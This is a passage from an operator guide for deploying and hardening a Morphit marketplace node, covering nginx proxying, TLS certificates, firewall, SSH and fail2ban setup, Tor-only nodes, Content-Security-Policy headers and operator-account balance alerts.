The frontend's default MORPHIT_RELAY_ORIGIN is /relay and MORPHIT_INDEXER_ORIGIN is empty (same origin) — both resolve to same-origin paths: the relay is reached under /relay/, the indexer under /v1/ (plus its RSS feeds under /rss/). With the recommended nginx config below, your users reach everything under one public hostname and you do NOT need separate DNS entries for the relay or indexer.

# Public HTTPS virtual host — the only hostname users see.
server {
    listen 443 ssl http2;
    server_name morphit.example.com;

    ssl_certificate     /etc/letsencrypt/live/morphit.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/morphit.example.com/privkey.pem;

    # Security headers: see §15 for the full CSP and other
    # headers. This block is only about routing.

    # Frontend — static files from the Morphit build output.
    root /var/www/morphit-frontend;
    index index.html;
    location / {
        try_files $uri $uri.html $uri/index.html /index.html;
    }

    # Relay — fund-spending endpoints. Proxied to loopback.
    location /relay/ {
        # Strip the /relay prefix before forwarding so the
        # relay sees /v1/account/create, not /relay/v1/...
        rewrite ^/relay/(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    # Indexer — public API. Proxied to loopback.
    # The frontend hits the indexer at same-origin `/v1/*`
    # (e.g. `/v1/orderbook`, `/v1/instance`). The indexer serves
    # those paths as-is, so forward them unchanged — NO rewrite.
    # This block proxies ALL methods, so it also carries the cp344
    # write proxies the browser uses instead of talking to a public
    # Blurt RPC node directly: `POST /v1/broadcast` (relays a user-
    # signed tx to the chain server-side) and `GET /v1/chain/properties`
    # (the ref-block read that precedes a broadcast). No extra config —
    # POST is handled by this same location block.
    # (`/relay/v1/*` is caught by the longer `/relay/` prefix
    # above, so it never falls into this block.) For the SSE
    # stream endpoints (`/v1/.../stream`) add the streaming +
    # connection-cap block from §24.
    location /v1/ {
        proxy_pass http://127.0.0.1:8081;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        # Operator-only per-source price-feed health (morphit-ops health)
        # is gated on X-Morphit-Local-Health, sent by the local ops-cli
        # over the bridge. Clear any client-supplied value here so a
        # public caller can never forge it.
        proxy_set_header X-Morphit-Local-Health "";
    }

    # Indexer RSS feeds. Same backend as `/v1/`, but mounted at
    # the bare `/rss/` path because feed readers expect
    # `/rss/orderbook.xml` (not `/v1/rss/...`). Without this block,
    # the RSS pill in the frontend footer and the per-trader /
    # per-asset subscribe links return 404.
    location /rss/ {
        proxy_pass http://127.0.0.1:8081;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

Adjust the loopback ports to match your actual MORPHIT_RELAY_LISTEN_PORT and MORPHIT_INDEXER_LISTEN_PORT if they aren't 8080 / 8081.

With this layout:

No relay.morphit.example.com DNS record required.
No indexer.morphit.example.com DNS record required.
MORPHIT_RELAY_ALLOWED_ORIGINS needs only the one public hostname (https://morphit.example.com) — see §17.
CSP connect-src is covered by 'self' (no extra hosts to allowlist) — see §15.

Split topology (if you prefer distinct subdomains)

If you want the relay and indexer on their own subdomains (e.g. to let different teams own them, or to deploy them on different VPSes), build the frontend with overrides:

# In your frontend build environment:
MORPHIT_RELAY_ORIGIN=https://relay.morphit.example.com
MORPHIT_INDEXER_ORIGIN=https://indexer.morphit.example.com

In that case add those hostnames to your CSP connect-src (see §15) and set MORPHIT_RELAY_ALLOWED_ORIGINS to the frontend's origin (NOT the relay's — Origin is always the page-loading origin). See §17 for details.

SSE connection caps (mandatory hardening)

The indexer exposes three Server-Sent Events endpoints used by the frontend for real-time updates:

/v1/orderbook/stream — orderbook changes
/v1/chat/:a/:b/stream — chat messages
/v1/instances/stream — federation directory

These endpoints are deliberately not behind the per-minute rate-limit middleware. A long-lived SSE connection is one HTTP request; per-minute limit doesn't model resource cost. The right control is a concurrent-connection cap at the reverse proxy.

Without these caps, an attacker can open thousands of SSE connections from a single IP and exhaust the indexer. Add both blocks below to your nginx config.

# limit_conn zones — declared in the http {} block.
http {
    limit_conn_zone $binary_remote_addr zone=sse_per_ip:10m;
}

# Add a stream-specific location. As a regex it is matched
# ahead of the general `/v1/` prefix block from §14, so only the
# long-lived SSE connections get the connection cap + streaming
# tuning — normal REST under `/v1/` keeps default buffering and
# is unaffected by the cap.
server {
    location ~ ^/v1/.*/stream$ {
        proxy_pass http://127.0.0.1:8081;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        # SSE-specific tuning. The indexer sends a `:keepalive`
        # comment every 25s, so 5m is ample headroom; buffering
        # off is REQUIRED or events arrive in batches, not live.
        proxy_read_timeout 5m;
        proxy_buffering off;
        proxy_cache off;

        # Per-IP cap: 20 concurrent SSE connections per source IP.
        limit_conn sse_per_ip 20;
        limit_conn_status 429;
    }
}

For Caddy, use a comparable connection-limit plugin. The cap value (20) is adjustable; raise to 50 for high-traffic instances.

TLS certificates and auto-renewal (Let's Encrypt + nginx)

The nginx config above references /etc/letsencrypt/live/morphit.example.com/{fullchain,privkey}.pem. This section is the canonical guide for obtaining and auto-renewing those certificates. Operators using Caddy can skip this section — Caddy handles TLS automatically when the config has a public hostname (this is what RUN-A-MORPHIT-NODE.md recommends).

morphit-ops ssl surfaces all of this. Run morphit-ops ssl (or the "SSL/TLS certificate (HTTPS)" menu item) for a read-only status — whether you have a valid cert for your domain, when it expires, and whether the auto-renewal timer is actually running. morphit-ops ssl setup checks prerequisites and prints the exact certbot commands below, tailored to your configured domain. (It does not run certbot or edit nginx for you — cert issuance changes your web server, so you run the steps and review the changes, the same reason service install is a hands-on step.)

Prerequisites

DNS A/AAAA records for your domain pointing at this server's public IP. Verify with dig +short morphit.example.com before proceeding — certbot's HTTP-01 challenge requires the domain to resolve to this host.
Port 80 reachable from the public internet (the HTTP-01 challenge is served over plain HTTP).
The server's firewall (ufw, firewalld, etc.) allows inbound 80 and 443.

Initial certificate issuance

On Debian/Ubuntu:

apt update && apt install -y certbot python3-certbot-nginx

Stop nginx temporarily so certbot's standalone challenge can bind to port 80, OR use the nginx plugin which can read your existing config:

# Standalone mode (simplest; nginx must be stopped):
systemctl stop nginx
certbot certonly --standalone \
    -d morphit.example.com \
    --agree-tos \
    --email you@example.com \
    --no-eff-email
systemctl start nginx

Or the nginx plugin (no downtime, but requires your nginx config to already serve the domain over HTTP):

certbot --nginx -d morphit.example.com \
    --agree-tos --email you@example.com --no-eff-email

After success, certs are in /etc/letsencrypt/live/<domain>/. The nginx plugin also patches your config to redirect HTTP→HTTPS and adds the ssl_certificate* directives — review the diff.

Auto-renewal (the part most operators get wrong)

certbot installs a systemd timer (or cron job) that runs twice daily and renews any certificate within 30 days of expiry. Verify it's enabled:

systemctl list-timers | grep certbot
# Expected: certbot.timer  active  ... certbot.service

If the timer isn't there, enable it:

systemctl enable --now certbot.timer

After renewal, nginx must reload to pick up the new cert. certbot's package on Debian/Ubuntu includes a --deploy-hook that handles this, but verify by checking the renewal config:

cat /etc/letsencrypt/renewal/morphit.example.com.conf | grep -i hook
# Expected: deploy_hook = systemctl reload nginx

If no deploy-hook is configured (standalone-mode installs may miss this), add one:

mkdir -p /etc/letsencrypt/renewal-hooks/deploy
cat > /etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh << 'EOF'
#!/bin/sh
systemctl reload nginx
EOF
chmod +x /etc/letsencrypt/renewal-hooks/deploy/reload-nginx.sh

Hooks in /etc/letsencrypt/renewal-hooks/deploy/ run after every successful renewal regardless of the per-domain config.

Test the renewal flow end-to-end

certbot renew --dry-run
# Expected output ends with:
#   Congratulations, all simulated renewals succeeded

This exercises the full path (challenge, issuance, deploy hook) without actually consuming a Let's Encrypt rate-limit slot. Run this once when you set up, and once after any nginx config change that touches the listening server block.

Monitor expiry independently

certbot can fail silently — the renewal timer might run but the challenge might fail (DNS change, firewall change, port 80 blocked). Set a calendar reminder ~14 days out OR add a check:

# Add to /etc/cron.weekly/check-cert-expiry.sh:
#!/bin/sh
DAYS=$(echo | openssl s_client -servername morphit.example.com \
    -connect morphit.example.com:443 2>/dev/null | \
    openssl x509 -noout -enddate | \
    sed 's/notAfter=//' | xargs -I{} date -d {} +%s | \
    xargs -I{} expr \( {} - $(date +%s) \) / 86400)
if [ "$DAYS" -lt 21 ]; then
    echo "WARN: TLS cert expires in $DAYS days" | mail -s "Morphit cert expiry" you@example.com
fi

Cipher and protocol hardening

The default nginx + Let's Encrypt config is reasonable, but add explicit modern-only protocols and a strong cipher list to the server block:

server {
    listen 443 ssl http2;
    server_name morphit.example.com;

    ssl_certificate     /etc/letsencrypt/live/morphit.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/morphit.example.com/privkey.pem;

    # Modern protocol set — TLS 1.2 minimum, TLS 1.3 preferred.
    # SSL 3, TLS 1.0 and 1.1 have been broken / are deprecated.
    ssl_protocols TLSv1.2 TLSv1.3;

    # Mozilla "intermediate" cipher list — works with everything
    # ≥ Firefox 27, Chrome 30, IE 11, Safari 9, Android 4.4.
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
    ssl_prefer_server_ciphers off;  # TLS 1.3 makes this irrelevant.

    # Session reuse for performance.
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 1d;
    ssl_session_tickets off;

    # OCSP stapling — clients verify cert revocation via the
    # server rather than calling the CA's OCSP responder.
    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 1.1.1.1 9.9.9.9 valid=300s;
    resolver_timeout 5s;

    # rest of the server block…
}

Test your TLS posture with SSL Labs — aim for an A or A+ rating.

OS hardening (Debian/Ubuntu reference)

The config above protects the application surface; this section covers the host. All operators should apply these baselines. RUN-A-MORPHIT-NODE.md mirrors the same commands at a beginner- friendly level, but this is the canonical reference.

Automatic security updates

Without unattended security upgrades, a kernel-level vulnerability on your VPS sits unpatched until you remember to ssh in.

apt install -y unattended-upgrades
dpkg-reconfigure -plow unattended-upgrades  # answer "Yes"

Verify the security pocket is enabled:

grep -E '^\s*"\${distro_id}:\${distro_codename}-security"' \
    /etc/apt/apt.conf.d/50unattended-upgrades
# Expected: line uncommented

For unattended kernel upgrades you'll need to add automatic reboots on a maintenance window:

cat >> /etc/apt/apt.conf.d/50unattended-upgrades << 'EOF'
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Automatic-Reboot-Time "04:30";
EOF

Note: a relay reboot interrupts in-flight signups. Schedule the reboot window for low-traffic hours.

Firewall (ufw)

apt install -y ufw
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp     # SSH
ufw allow 80/tcp     # HTTP (Let's Encrypt + redirect)
ufw allow 443/tcp    # HTTPS
ufw --force enable

Critically: do NOT expose the relay (8080) or indexer (8081) ports directly. They MUST sit behind nginx (loopback only — see §14). Verify with:

ss -ltnp | grep -E ':8080|:8081'
# Expected: 127.0.0.1:8080 / 127.0.0.1:8081 only
# NOT: 0.0.0.0:8080 or *:8080

If you see 0.0.0.0: here, your relay/indexer is publicly exposed and the loopback enforcement (§14) failed. Stop and fix this before continuing.

SSH hardening

# Disable root login over SSH and require key authentication.
# Confirm you have a working SSH key login as a non-root user
# BEFORE running these — getting locked out of a fresh VPS is
# a real possibility otherwise.

# Edit /etc/ssh/sshd_config:
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#*PubkeyAuthentication.*/PubkeyAuthentication yes/' /etc/ssh/sshd_config

# Validate the config before reload.
sshd -t
systemctl reload ssh

Brute-force protection (fail2ban)

apt install -y fail2ban
cat > /etc/fail2ban/jail.local << 'EOF'
[DEFAULT]
bantime  = 1h
findtime = 10m
maxretry = 5

[sshd]
enabled = true

[nginx-limit-req]
enabled  = true
filter   = nginx-limit-req
logpath  = /var/log/nginx/error.log
maxretry = 10
EOF
systemctl enable --now fail2ban
fail2ban-client status

The nginx-limit-req jail catches IPs that hit nginx's limit_req_zone (your application-level rate-limit) repeatedly. Without it, an attacker hitting the relay's signup endpoint at the rate-limit threshold from a single IP can stay just below the per-IP velocity rules forever.

Filesystem permissions baseline

Verify the relay's data dir and config aren't world-readable:

chmod 700 /var/lib/morphit /var/lib/morphit/relay
chown -R morphit:morphit /var/lib/morphit
chmod 0640 /etc/morphit/relay.env          # if you use an env file
chown root:morphit /etc/morphit/relay.env  # 0640 root:morphit, per §37.10/§37.19

The relay's encrypted-keystore file is itself encrypted, but defense in depth: don't let other users on the host read the ciphertext or the env file with the passphrase pointer.

Logging discipline

# journald: cap log retention to bound disk use.
sed -i 's/^#*SystemMaxUse=.*/SystemMaxUse=2G/' /etc/systemd/journald.conf
sed -i 's/^#*SystemMaxFileSize=.*/SystemMaxFileSize=200M/' /etc/systemd/journald.conf
systemctl restart systemd-journald

The relay and indexer log via stdout/stderr captured by systemd's journal. Without these caps, a chatty error loop can fill /var until the disk is full and the host wedges.

Optional but recommended

AIDE / Tripwire — file integrity monitoring. Catches rootkit / supply-chain compromise that modifies binaries. Beyond the scope of this guide; standard sysadmin work.
auditd — kernel-level audit logging. Same comment.
Fail-closed swap — if you use swap, encrypt it (/etc/crypttab with a random key per boot) so suspended process memory isn't recoverable from disk.

Securing operator-only routes (cp116)

Morphit exposes a small surface of operator-helpful routes that don't make sense for end users. Currently this is just /admin/setup-wizard (cp116, config-line generator — read-only, no mutation, but visually cluttery for end users), but more may follow.

These routes are NOT auth-gated at the application level by design — making them read-only sidesteps the need for an auth system that adds attack surface for marginal benefit. If you prefer to hide the admin surface from your users anyway, two common options:

Nginx HTTP basic-auth:

location /admin/ {
    auth_basic "Operator only";
    auth_basic_user_file /etc/nginx/.morphit-admin-htpasswd;
    # If your frontend is served by nginx as static files
    # (production default), use `try_files` here instead of
    # proxy_pass.  The example below covers the dev-server
    # case (SvelteKit dev on :3000); production usually wants:
    #   try_files $uri $uri/ /index.html;
    proxy_pass http://localhost:3000;
}

Generate the htpasswd file with htpasswd -c /etc/nginx/.morphit-admin-htpasswd <username>.

Caddy basicauth directive:

your-domain.example {
    handle /admin/* {
        basicauth {
            <username> <bcrypt-hash>
        }
        reverse_proxy localhost:3000
    }
    handle {
        reverse_proxy localhost:3000
    }
}

Generate the bcrypt hash with caddy hash-password.

For both: pick a username and password unrelated to any of your Blurt account names — the admin surface is unauthenticated in the application but you don't want a passive observer of the HTTP traffic to learn your relay account name.

Locale-prefixed routes (/en/admin/..., /es/admin/..., etc.) must all be covered. The route's canonical URL form is /<locale>/admin/setup-wizard; the bare /admin/setup-wizard form gets client-side JS-redirected to the locale-prefixed form on first hit (see apps/web/src/routes/+page.svelte), so your auth rule should match ^/[a-z]{2}(?:-[A-Z]{2})?/admin/ to cover all 10 locale variants.

Optional: confidential-computing host (AMD SEV-SNP / Intel TDX)

This is optional defense-in-depth, not a requirement — most operators can and should skip it. If your VPS or bare-metal host offers a confidential-computing mode (AMD SEV-SNP or Intel TDX), enabling it encrypts the guest's RAM at the hardware level. The only long-lived secret Morphit keeps in process memory is the operator's Blurt posting key (used by the relay to broadcast signup dust and listing-fee splits — never a user's funds, which Morphit does not hold at all). Hardware memory encryption protects that one key against a malicious host operator or co-tenant who can read raw VM memory.

Two honest caveats, because we will not oversell this:

Morphit makes no TEE/enclave attestation claim and does not depend on SEV/TDX. The relay does not run inside an attested enclave, and we will not market "TEE-attested" security we have not earned. A SEV/TDX host adds a memory-secrecy layer; it does not change Morphit's trust model.
A TEE roots part of your trust in the CPU vendor (AMD/Intel) and your cloud provider — which is in tension with priority #2 (decentralization). That is why this is opt-in for operators who specifically want it, not a default we push.

For the threats that actually matter on a no-funds relay, Morphit's defaults already do the heavy lifting: Tor-onion reachability on by default, a strict CSP, Subresource Integrity on every script, the on-chain morphit_release_v1 hash manifest (so users verify the served bundle independently of the host — see §15 and the release sections), ufw/fail2ban, and the client-side Argon2id + AES-GCM key envelope (user keys are encrypted in the browser and never reach the server in the clear). SEV/TDX is a nice extra for the paranoid, not a gap in the baseline.

Tor-only nodes (no clearnet domain)

The guided installer (morphit-ops install) offers a Tor-only node: choose it at the "How will people reach your marketplace?" question and the node runs with no clearnet domain — reachable only over its auto-generated Tor .onion (plus .i2p/.b32.i2p when i2pd is present). This is the strongest posture for priority #1 (privacy) and #2 (unstoppability): there is no domain to seize, no certificate authority in the trust path, no public 80/443 to firewall, and no home port-forward.

What changes under the hood (all automatic):

The wizard skips the domain, HTTPS-certificate email, dynamic-DNS and router-port-forward questions (so it's a few steps shorter — the "Step N of {total}" counter reflects this).
Ansible sets morphit_tor_only: true, which makes enable_tls false (no certbot / Let's Encrypt) and drops BunkerWeb's clearnet TLS services from the compose. The frontend still runs and Tor fans the onion straight into it on 127.0.0.1:8090 (the same path a clearnet node's onion uses).
The advertised origin — MORPHIT_INSTANCE_ORIGIN, the relay's MORPHIT_RELAY_PUBLIC_ORIGIN and its CORS allowlist — is set to http://<onion> once the tor role has generated it (the tor role runs after the templates render, so a post-task fills these in and restarts the indexer + relay). http:// is correct here: Tor encrypts and authenticates the connection at the network layer, so a clearnet TLS certificate is neither obtainable nor meaningful for a .onion.
The node registers on-chain by its onion and appears in the federated /instances directory with a "No clearnet reliance" label; other indexers that run Tor probe it over Tor for a real status (a clearnet-only indexer simply lists it on its signed registration).

Adding a clearnet domain later. A Tor-only node isn't a dead end. When you're ready to also serve https://:

Buy a domain and point an A record at the box's public IP (home nodes: forward ports 80 + 443 to the box, and set up dynamic DNS — §"Dynamic DNS").
Obtain the certificate and bring up the clearnet edge with morphit-ops ssl setup <domain> (this runs the TLS role + BunkerWeb for the domain; the onion keeps working alongside it).
Update your advertised origin: morphit-ops register (or, if already registered, the operator-update flow) with MORPHIT_INSTANCE_ORIGIN=https://<domain>. The onion stays advertised as an alt-network address, so nothing you've published breaks — you're adding clearnet, not replacing Tor.

15. Frontend CSP + security headers for operators

The frontend is a static (adapter-static) build served by your web server, so its Content-Security-Policy is delivered as an HTTP response header, not a <meta http-equiv> tag. As of cp233 the build no longer emits a meta CSP at all — earlier it did, via SvelteKit's kit.csp, but a meta CSP (a) cannot enforce frame-ancestors, (b) was stricter than the app needs (it blocked the in-browser WASM crypto and the inline bootstrap), and (c) was intersected with the header CSP by the browser, so the meta clobbered the working header and operators had to sed it out of the build by hand. The nginx header below is now the single source of truth — no meta, no manual stripping.

The policy string is the same no matter how you deliver it. If you don't run nginx directly — e.g. you use the BunkerWeb WAF (which is nginx under the hood) — set the identical string via BunkerWeb's CONTENT_SECURITY_POLICY setting instead of add_header; the canonical value is pre-filled in ops/bunkerweb/bunkerweb.env.example. The same applies to Caddy, Apache, or any other front: deliver this exact header.

This addresses Finding N in docs/REVISIT-LIST.md §F.

Required headers

Configure your frontend web server (nginx, Caddy, whatever you use) to emit all of the following on every response:

# HSTS — forces HTTPS for all subsequent requests
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

# Content type sniffing protection
add_header X-Content-Type-Options "nosniff" always;

# Referrer policy — send no referrer on navigations
add_header Referrer-Policy "no-referrer" always;

# Prevent embedding in iframes (clickjacking defense)
add_header X-Frame-Options "DENY" always;

# Permissions-Policy — microphone/geolocation/FLoC off; camera=(self)
# so the same-origin QR-login scanner (getUserMedia) keeps working
add_header Permissions-Policy "camera=(self), microphone=(), geolocation=(), interest-cohort=()" always;

# Content Security Policy — the single source of truth for the
# frontend (the build emits no meta CSP). connect-src lists the
# six default Blurt RPC nodes from apps/web/src/lib/net/config.ts;
# if you run a different RPC set, edit it to match or the browser
# blocks your nodes (including failover). It lists NO price API on
# purpose: price fetching is server-side (the indexer), the browser
# never calls CoinGecko, so listing it would only leak visitor IPs.
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self'; connect-src 'self' https://rpc.drakernoise.com https://blurtrpc.dagobert.uk https://rpc.blurt.blog https://rpc.beblurt.com https://rpc.blurt.one https://blurt-rpc.saboin.com; media-src 'none'; object-src 'none'; child-src 'none'; frame-src 'none'; worker-src 'self' blob:; manifest-src 'self'; form-action 'self'; frame-ancestors 'none'; base-uri 'self'" always;

For reference, ops/nginx/indexer.conf and ops/nginx/relay.conf already set the first four headers on API responses. The CSP only applies to the frontend (it has no meaning on JSON responses), so it goes on the frontend's web server config, not the API nginx configs.

What the CSP directives do

default-src 'self' — only load resources from the same origin by default
script-src 'self' 'unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval' — JS from same origin, plus:
- 'unsafe-inline' for the small inline scripts the page ships (SvelteKit's hydration bootstrap and the ?lang= preflight hint in app.html). The previous hash-based approach required SvelteKit to inject a meta CSP; dropping that meta means falling back to 'unsafe-inline' for these. The frontend renders no user-supplied HTML, so the inline-script attack surface is minimal.
- 'wasm-unsafe-eval' (and 'unsafe-eval') for the in-browser cryptography: the keystore's argon2 KDF and signing run as WebAssembly, which CSP blocks unless one of these is present. This is non-optional — without it, login / keystore unlock breaks. If you confirm via testing that no dependency uses JS eval/Function, you can drop 'unsafe-eval' and keep only 'wasm-unsafe-eval' for a tighter policy.
style-src 'self' 'unsafe-inline' — CSS from same origin plus the inline styles Svelte emits (scoped component styles and the no-JS notice in app.html)
img-src 'self' data: blob: — images from same origin, plus data: URIs (identicons are inline SVG data URIs) and blob: URLs (decoded avatar bitmaps)
font-src 'self' — fonts only from same origin (the self-hosted Nunito subset)
connect-src 'self' <six Blurt RPC hosts> — the browser may fetch only from your own origin and the six default Blurt RPC nodes (apps/web/src/lib/net/config.ts), which it contacts directly to read the chain and broadcast signed, non-custodial transactions. Notes:
- There is deliberately no price API here. Price data is fetched server-side by the indexer; the browser never calls CoinGecko or any other price host. Adding one would leak every visitor's IP to a third party for no functional gain — a privacy regression, not a feature.
- If you run a different RPC set, edit connect-src to match the hosts in config.ts, or the browser will block them (including failover to a backup node). Prefer listing your specific hosts over the loose 'self' https: wildcard, which permits any HTTPS host as a fetch target and defeats CSP's exfiltration-defense value.
worker-src 'self' blob: — Web Workers from same origin (the service worker) plus blob: (the altcha proof-of-work worker is built from an in-memory blob); without blob:, the anti-bot challenge on registration fails to run
frame-ancestors 'none' — this page cannot be embedded in another site's iframe (the header form of the X-Frame-Options DENY above; it only works as a header, which is one reason the CSP is not a meta tag)
base-uri 'self' — <base> tag only points to same origin
form-action 'self' — form submits only to same origin
object-src 'none' — no Flash, Java, or other plugins
media-src 'none', child-src 'none', frame-src 'none' — the app embeds no audio/video, iframes, or nested browsing contexts, so these are locked shut as defense-in-depth
manifest-src 'self' — the PWA web-app manifest loads only from the same origin

HTTPS-only requirement

Serve the frontend over HTTPS only. HSTS will enforce this on repeat visitors but doesn't help the first request. A typical nginx pattern:

server {
    listen 80;
    listen [::]:80;
    server_name morphit.example.org;
    return 301 https://$server_name$request_uri;
}
server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    server_name morphit.example.org;
    # ... SSL config, headers above, root path to build/ ...
}

Verification

From a different machine, run:

curl -sI https://morphit.example.org/ | grep -iE "(strict-transport|x-content|referrer|x-frame|permissions-policy|content-security)"

Expected: all six headers present. If any are missing, fix your web server config before making the deployment public.

Troubleshooting: account avatars show as broken images

If newly-generated account avatars (the heart identicons on the onboarding "your keys are ready" screen, profile chips, the avatar menu, etc.) render as the browser's broken-image icon, and the browser console / Issues panel reports a Content-Security-Policy violation for data:image/svg+xml requests, your deployed CSP is older than this config. Identicons are inline data: SVGs generated in the browser, so the img-src directive must include data: — this config ships img-src 'self' data: blob:. (The avatars are valid data: URIs; the CSP is what blocks them, so rebuilding the frontend bundle alone does NOT fix it.)

Check two things, in order:

The served header. DevTools → Network → click the HTML document request → Response Headers → content-security-policy (or from a shell: curl -sI https://your-site/ | grep -i content-security). If its img-src is just 'self' (no data:) — or there is no img-src at all, in which case images fall back to default-src and data: URIs are still blocked — your reverse proxy is serving an out-of-date policy. Where the CSP lives depends on what terminates TLS for you: on bare metal it's the add_header Content-Security-Policy in ops/nginx/web.conf (nginx -t && nginx -s reload); behind BunkerWeb it's the CONTENT_SECURITY_POLICY setting from ops/bunkerweb/bunkerweb.env.example (restart the BunkerWeb container). If you front the site some other way — e.g. you expose the BunkerWeb-compose frontend nginx directly with the bunkerweb service disabled, or use another proxy — the header is an add_header Content-Security-Policy line in that config. Find the file with sudo grep -rni 'content-security-policy' <your-edge-config-dir> (search the response-HEADER spelling Content-Security-Policy, not the CONTENT_SECURITY_POLICY env-var spelling — a grep for the latter will miss an nginx add_header), bring its value in line with the canonical one above, and reload/restart that proxy after a nginx -t.
The service worker cache. A previously-cached HTML response can keep enforcing the old CSP header even after the proxy is fixed. Hard-reload bypassing the cache, or DevTools → Application → Storage → Clear site data (which also unregisters the service worker), then reload.

The shipped policy is correct and is guarded by scripts/csp-header-consistency-smoke.ts (CI fails if img-src ever loses data:), so a broken-avatar report is always a stale-deployment or stale-cache symptom — never a code change.

16. Operator-account balance alerts

The indexer can watch your relay and fees accounts on-chain and alert you when either drops below a threshold. This catches silent drain: a @morphit-relay that runs out of BLURT stops processing welcome bonuses, dust refills, and loyalty grants without crashing; without alerts you'd only hear about it when users complain.

The scanner is OFF by default. To enable, set one or both thresholds to a non-zero value. Both accounts are monitored independently — you can alert on the relay without alerting on fees, or vice versa.

Configuration

Add to the indexer's systemd unit (or .env if that's how you load environment variables):

Tip: these two thresholds are operator-tunable via morphit.config.env (see §23) — copy morphit.config.env.example to morphit.config.env and uncomment the relevant lines. OS-set env vars (SystemD Environment=, Docker -e, shell export) always win over the file, so existing env-driven deployments keep working unchanged.

# Alert when @morphit-relay drops below 100 BLURT. Set to 0 to
# disable monitoring for this account.
Environment="MORPHIT_INDEXER_OPERATOR_BALANCE_RELAY_THRESHOLD_BLURT=100"

# Alert when @morphit-fees drops below 10 BLURT. Fees normally
# accumulate rather than drain, so a drop below 10 typically
# indicates either an over-aggressive auto-sweep or something
# wrong with the account. Set to 0 to disable.
Environment="MORPHIT_INDEXER_OPERATOR_BALANCE_FEES_THRESHOLD_BLURT=10"

# Optional: how often the scanner polls. Default 15 min.
# Environment="MORPHIT_INDEXER_OPERATOR_BALANCE_INTERVAL_MS=900000"

# Optional: how many consecutive RPC failures trigger a
# SUSTAINED_RPC_FAILURE alert. Default 3.
# Environment="MORPHIT_INDEXER_OPERATOR_BALANCE_FAILURE_ALERT_THRESHOLD=3"

Reload + restart the indexer:

sudo systemctl daemon-reload
sudo systemctl restart morphit-indexer.service

Choosing thresholds

The relay threshold is the most important. Rough rule: set it to cover at least 24-48h of normal outflow (welcome bonuses + loyalty delegations + dust refills) so you have time to notice and top up before the relay actually empties. For a small instance, 50-100 BLURT is typical; a busy instance might want 500+ BLURT of runway. You know your own volume better than we do — look at 7 days of outgoing transfers from your relay on blocks.blurtwallet.com to calibrate.

The fees threshold should be near zero. Fees accumulate naturally; the only ways the balance drops are a manual sweep, a misconfigured automated sweep, or a compromised account. Setting fees threshold to ~10 BLURT catches all three.

What the alerts look like

By default, alerts go to the structured logger (module operator-balance). On a systemd box that means they land in journalctl as JSON:

sudo journalctl -u morphit-indexer.service | grep '\[operator-balance\]'

Four alert kinds:

LOW_BALANCE — downward crossing. Fires once per cross; as long as balance stays below threshold, the scanner stays quiet. Payload includes current balance, threshold, account, and role (relay / fees).
RECOVERED — upward crossing after a LOW_BALANCE. Lets you confirm your top-up landed. Fires once per recovery.
SUSTAINED_RPC_FAILURE — N consecutive failures to reach Blurt for the balance check. Important because "can't check" silently prevents alerts; you want to know your alerting is blind.
SHAPE_ERROR — balance string unparseable. Rare; usually indicates a Blurt chain upgrade that changed response shape.

Verifying the scanner is running

The /v1/health?verbose=1 endpoint exposes the scanner's live state:

curl -s http://localhost:$INDEXER_PORT/v1/health?verbose=1 \
  | jq .diagnostics.operator_balances

Expected shape (two accounts monitored, relay currently fine, fees not yet observed this cycle):

[
  {
    "account": "morphit-relay",
    "role": "relay",
    "threshold_blurt": 100,
    "below_threshold": false,
    "last_observed_blurt": 245.137
  },
  {
    "account": "morphit-fees",
    "role": "fees",
    "threshold_blurt": 10,
    "below_threshold": null,
    "last_observed_blurt": null
  }
]

An empty array means no thresholds are configured (scanner opted out). A below_threshold: null means the scanner hasn't completed a successful observation for that account yet — usually this resolves within one scan interval of boot.

Routing alerts elsewhere (Discord, email, webhook)

The default sink writes structured JSON to the logger. If you want alerts in Discord, on your phone, or in an incident- management system, you have two options:

Tail the log and route externally. Simplest, no code changes. A small sidecar reads journalctl output, filters on "module":"operator-balance" JSON lines, and forwards whatever payload matches your target (Discord webhook, email relay, Matrix bot, PagerDuty API).
Replace the AlertSink at indexer build time. The scanner accepts an injected sink; operators with TypeScript comfort can fork the indexer, swap the default sink for one that POSTs to a webhook, and deploy. Lower latency, but requires maintaining a fork.

Option 1 is what most instances should pick.

Canonical Matrix routing — apps/matrix-bot

For operators picking Matrix as their alert channel, the morphit repo ships a turnkey sidecar at apps/matrix-bot/ that implements Option 1 above with a tier-aware classifier. Same shipping pattern as ops/bunkerweb/, ops/nginx/, ops/systemd/, etc. — copy + edit the env file, then activate with morphit-ops matrix set <mxid>.

Lifecycle (morphit-ops matrix) — installed by default, runs only when configured:

